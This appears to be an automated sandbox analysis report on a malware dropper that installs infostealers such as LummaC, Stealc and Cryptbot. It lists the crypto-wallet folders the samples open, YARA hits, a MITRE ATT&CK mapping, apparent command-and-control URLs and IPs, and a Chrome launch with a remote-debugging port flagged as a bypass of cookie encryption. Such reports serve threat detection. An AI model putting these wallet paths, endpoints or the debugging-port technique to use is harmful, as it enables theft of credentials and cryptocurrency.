Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN

Source: Yara match	File source: 00000009.00000003.2687234574.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2691719903.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2687820469.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2687023350.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2684773955.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2687551032.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2692244836.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2690149130.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2689623976.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2689107439.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2684931089.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2689461786.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685083573.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685489848.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688197199.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2691008602.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2686690326.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2656642315.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2689292480.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2686127655.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2686379519.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2686826837.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2684618829.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2691890013.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2689912258.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2691231854.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685228228.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2657928655.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2687374958.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2691530226.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2687687305.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685966414.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2629461937.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2684409963.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2692800231.0000000001242000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688669064.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688360776.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685660579.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688510791.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688046289.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2685819613.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2690743113.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2686546843.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2692391069.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2692056970.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2688928457.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2629911709.0000000001240000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 2132, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 9afe8d29fa.exe PID: 4500, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2235d4f703.exe PID: 2132, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000020.00000002.2938363540.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2949459984.0000000001AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2849604282.00000000057C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2637178904.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2688574615.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2689206036.0000000000F31000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 86526d7b20.exe PID: 3428, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	LSASS Memory	235 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	1 DLL Side-Loading	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label	Link
http://185.215.113.206/v=	100%	Avira URL Cloud	malware
https://property-imper.sbs/WC	0%	Avira URL Cloud	safe
https://property-imper.sbs/apiv85gj3fO3m	0%	Avira URL Cloud	safe
https://property-imper.sbs/7C	0%	Avira URL Cloud	safe
http://185.215.113.16/hT	0%	Avira URL Cloud	safe
https://property-imper.sbs/apite	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php9&T	100%	Avira URL Cloud	malware
https://property-imper.sbs/apie	0%	Avira URL Cloud	safe
http://185.215.113.16/hT	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
services.addons.mozilla.org	151.101.1.91	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.68	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
star-mini.c10r.facebook.com	157.240.195.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.129	true	false	high
property-imper.sbs	172.67.162.84	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.78	true	false	high
youtube-ui.l.google.com	172.217.21.46	true	false	high
reddit.map.fastly.net	151.101.65.140	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://property-imper.sbs/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apiv85gj3fO3m	2235d4f703.exe, 00000009.00000003.2859413026.0000000001256000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/7C	2235d4f703.exe, 00000009.00000003.2629911709.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2657928655.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2656642315.0000000001235000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2629461937.0000000001235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 00000019.00000003.2803157029.000002349564E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2799950747.000002349564E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	false		high
